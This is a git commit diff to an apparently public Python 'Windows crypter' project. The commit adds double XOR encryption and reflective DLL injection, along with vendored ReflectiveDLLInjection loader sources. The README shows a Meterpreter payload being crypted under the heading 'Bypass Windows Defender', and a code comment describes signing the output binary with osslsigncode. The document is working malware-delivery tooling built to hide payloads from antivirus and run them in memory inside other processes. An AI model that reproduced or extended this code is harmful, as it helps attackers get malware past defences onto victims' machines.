Commit dbadcfc0 authored by batman's avatar batman

added reflective dll injection and double xor encryption

parent 1feb5ee0
......@@ -7,7 +7,7 @@ Store and execute an encrypted windows binary from inside memory, without a sing
```
Windows crypter by Dylan Halls (v0.1)
usage: crypter.py [-h] [-u] [-b] [-s] [-r] [-k KEY] [-o OUTFILE] file
usage: crypter.py [-h] [-u] [-b] [-d] [-s] [-r] [-k KEY] [-o OUTFILE] file
positional arguments:
file file to crypt, assumed as binary if not told otherwise
......@@ -16,6 +16,8 @@ optional arguments:
-h, --help show this help message and exit
-u, --upx upx file before crypting
-b, --binary provide if file is a binary exe
-d, --dll use reflective dll injection to execute the binary
inside another process
-s, --source provide if the file is c source code
-r, --raw store binary in memory without encrypting
-k KEY, --key KEY key to encrypt with, randomly generated if not
......@@ -27,10 +29,13 @@ optional arguments:
## Example
`./crypter.py example.exe -o crypted_example.exe`
`./crypter.py meterpreter.exe -o meta.exe`
## Bypass Windows Defender
`./crypter.py -u meterpreter.exe -o meta.exe`
## TODO
- Add support for flags s,r,k
- DLL injection option to take over remote process
- Load pe image over a socket so not stored inside the binary
......@@ -10,10 +10,18 @@ version = "0.1"
FILETYPE = None
PE_IMAGE = None
OUT_NAME = None
CRYPTKEY = None
CRYPTKEY1 = None
CRYPTKEY2 = None
BINASRAW = False
NULLBKEY = None
UPXPACK = False
RUNASDLL = False
DLLIMAGE = None
"""
sudo apt install osslsigncode
osslsigncode sign -certs certs/cert.pem -key certs/key.pem -pass password -n "Application" -i http://www.google.com/ -in binary.exe -out binary-signed.exe
"""
def gen_rand_filename():
name = ""
......@@ -22,27 +30,30 @@ def gen_rand_filename():
return name
def gen_rand_key():
global CRYPTKEY, NULLBKEY
CRYPTKEY = random.randint(100, 999)
print(f"[+] Using key {hex(CRYPTKEY)}")
global CRYPTKEY1, CRYPTKEY2, NULLBKEY
CRYPTKEY1 = random.randint(10, 100)
CRYPTKEY2 = random.randint(10, 100)
print(f"[+] Using keys {hex(CRYPTKEY1)}, {hex(CRYPTKEY2)}")
def gen_null_key():
global NULLBKEY
NULLBKEY = random.randint(17, 50)
print(f"[+] Using null key {hex(NULLBKEY)}")
def get_file_as_hex(infile):
def get_file_as_hex(crypt, key, infile=None, data=None, data_length=None):
bytes = ""
with open(infile, "rb") as file:
data = file.read()
data_len = len(data)
if (infile != None) and (data == None):
with open(infile, "rb") as file:
data = file.read()
data_len = len(data)
else:
data_len = data_length
iter = 0
for num, byte in enumerate(data):
byte = hex(byte)
if byte == hex(0x00):
byte = hex(NULLBKEY)
if crypt:
byte = hex(int(byte, 16) ^ key)
else:
byte = hex(int(byte, 16) ^ CRYPTKEY)
if len(str(byte)) == 3:
byte = str(byte).replace("0x", '')
byte = f"0x0{byte}"
......@@ -70,14 +81,15 @@ def write_pe_image():
def write_header_file():
with open("lib/main.h", "w") as file:
HEADFILE = f"#define key {hex(CRYPTKEY)}\n"
HEADFILE = f"#define key_one {hex(CRYPTKEY1)}\n"
HEADFILE += f"#define key_two {hex(CRYPTKEY2)}\n"
HEADFILE += f"#define null_key {hex(NULLBKEY)}\n"
HEADFILE += "void RunFromMemory(char* pImage, char* pPath);"
HEADFILE += "void RunFromMemory(char* pImage, char* pPath);"
file.write(HEADFILE)
def compile():
def compile_as_binary():
global OUT_NAME
os.system(f"i686-w64-mingw32-g++ lib/exec_memory.cpp lib/main.cpp -o {OUT_NAME} -static")
os.system(f"i686-w64-mingw32-g++ lib/exec_memory.cpp lib/pe_main.cpp -o {OUT_NAME} -static")
def strip_bin(infile):
os.system(f"strip {infile} > /dev/null")
......@@ -94,21 +106,80 @@ def pack_with_upx(file):
print(f"[+] Packed {file} with upx, stored it in {name}")
return name
def compile_as_dll():
file = gen_rand_filename() + ".dll"
reflect = "lib/ReflectiveDLLInjection/dll/"
cmd = f"i686-w64-mingw32-g++ lib/dll_main.c {reflect}ReflectiveLoader.c lib/exec_memory.cpp -o {file} -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -DWIN_X86 -shared -static -w"
os.system(cmd)
return file
def write_dll_image():
with open("lib/dll_image.h", "w") as file:
file.write(DLLIMAGE)
def prepare_dll_image(bytes_len, hex_bytes):
global DLLIMAGE
DLLIMAGE = f"#define array_len {bytes_len}\n\n"
DLLIMAGE += "unsigned char *dll_image[] = {\n"
DLLIMAGE += hex_bytes
DLLIMAGE += "\n};"
def compile_dll_loader_as_pe():
global OUT_NAME
reflect_inject = "lib/ReflectiveDLLInjection/inject/"
sources = f"{reflect_inject}GetProcAddressR.c {reflect_inject}LoadLibraryR.c"
flags = "-O2 -DWIN_X86 -static -lwtsapi32 -w"
cmd = f"i686-w64-mingw32-gcc {sources} lib/dll_mem_exec.c -o {OUT_NAME} {flags}"
os.system(cmd)
def clean_file(file):
os.unlink(file)
def crypt(infile):
print(f"[+] Starting to crypt {infile} ({get_size(infile)} bytes)")
if UPXPACK:
infile = pack_with_upx(infile)
else:
length = strip_bin(infile)
print(f"[+] Stripped {infile} down to {length} bytes")
gen_null_key()
hex_bytes, bytes_len = get_file_as_hex(infile)
hex_bytes, bytes_len = get_file_as_hex(True, CRYPTKEY1, infile=infile)
raw_crypt_bytes = b""
for byte in hex_bytes.split():
byte = byte.replace("0x", '')
byte = byte.replace(",", '')
if len(byte) == 1:
byte = f"0{byte}"
try:
raw_crypt_bytes += bytes.fromhex(byte).encode('utf-8')
except AttributeError:
raw_crypt_bytes += bytes.fromhex(byte)
hex_bytes, bytes_len = get_file_as_hex(True, CRYPTKEY2, infile=None, data=raw_crypt_bytes, data_length=bytes_len)
prepare_pe_image(bytes_len, hex_bytes)
write_pe_image()
print("[+] Extracted bytes and created pe image")
write_header_file()
compile()
print(f"[*] Wrote {get_size(OUT_NAME)} bytes to {OUT_NAME}")
if RUNASDLL is False:
compile_as_binary()
if UPXPACK is True:
clean_file(infile)
print(f"[*] Wrote {get_size(OUT_NAME)} bytes to PE {OUT_NAME}")
elif RUNASDLL is True:
dll_file = compile_as_dll()
print(f"[+] Wrote {get_size(dll_file)} bytes to DLL {dll_file}")
hex_bytes, bytes_len = get_file_as_hex(dll_file, False, None)
prepare_dll_image(bytes_len, hex_bytes)
write_dll_image()
compile_dll_loader_as_pe()
print(f"[*] Compiled the dll loader and wrote {get_size(OUT_NAME)} bytes to {OUT_NAME}")
if __name__ == '__main__':
ap = argparse.ArgumentParser()
......@@ -118,6 +189,7 @@ if __name__ == '__main__':
ap.add_argument("file", help="file to crypt, assumed as binary if not told otherwise")
ap.add_argument("-u", "--upx", required=False, action='store_true', help="upx file before crypting")
ap.add_argument("-b", "--binary", required=False, action='store_true', help="provide if file is a binary exe")
ap.add_argument("-d", "--dll", required=False, action='store_true', help="use reflective dll injection to execute the binary inside another process")
ap.add_argument("-s", "--source", required=False, action='store_true', help="provide if the file is c source code")
ap.add_argument("-r", "--raw", required=False, action='store_true', help="store binary in memory without encrypting")
ap.add_argument("-k", "--key", required=False, help="key to encrypt with, randomly generated if not supplied")
......@@ -137,11 +209,12 @@ if __name__ == '__main__':
OUT_NAME = args['outfile']
if args['key'] is not None:
CRYPTKEY = hex(args['key'])
CRYPTKEY1 = hex(args['key'])
else:
gen_rand_key()
if args['raw'] is not False: BINASRAW = True
if args['upx'] is not False: UPXPACK = True
if args['dll'] is not False: RUNASDLL = True
crypt(args['file'])
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
#CC=i686-w64-mingw32-gcc
CC=x86_64-w64-mingw32-gcc
INJ_DIR=inject/
DLL_DIR=dll/
#ARCH=WIN_x86
ARCH=WIN_X64
all: $(DLL_DIR)ReflectiveLoader $(INJ_DIR)Inject
$(DLL_DIR)ReflectiveLoader:
$(CC) $(DLL_DIR)ReflectiveDll.c $(DLL_DIR)ReflectiveLoader.c -o reflective_$(ARCH).dll -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -D$(ARCH) -shared
setmem:
$(shell xxd -i reflective_$(ARCH).dll > $(INJ_DIR)memory.h)
$(shell mv reflective_$(ARCH).dll $(DLL_DIR))
$(INJ_DIR)Inject:
$(CC) $(INJ_DIR)GetProcAddressR.c $(INJ_DIR)LoadLibraryR.c $(INJ_DIR)Inject.c -o reflct_dll_inject.exe -O2 -D$(ARCH) -w
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
MessageBoxA( NULL, "Inject4dayz", "PowerUp", MB_OK );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
This diff is collapsed.
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if( hModule == NULL )
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
//__try
//{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
// get the VA for the array of name pointers
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
// test if we are importing by name or by ordinal...
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
// resolve the address for this imported function
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
// test if we have a match...
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
//}
//__except( EXCEPTION_EXECUTE_HANDLER )
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted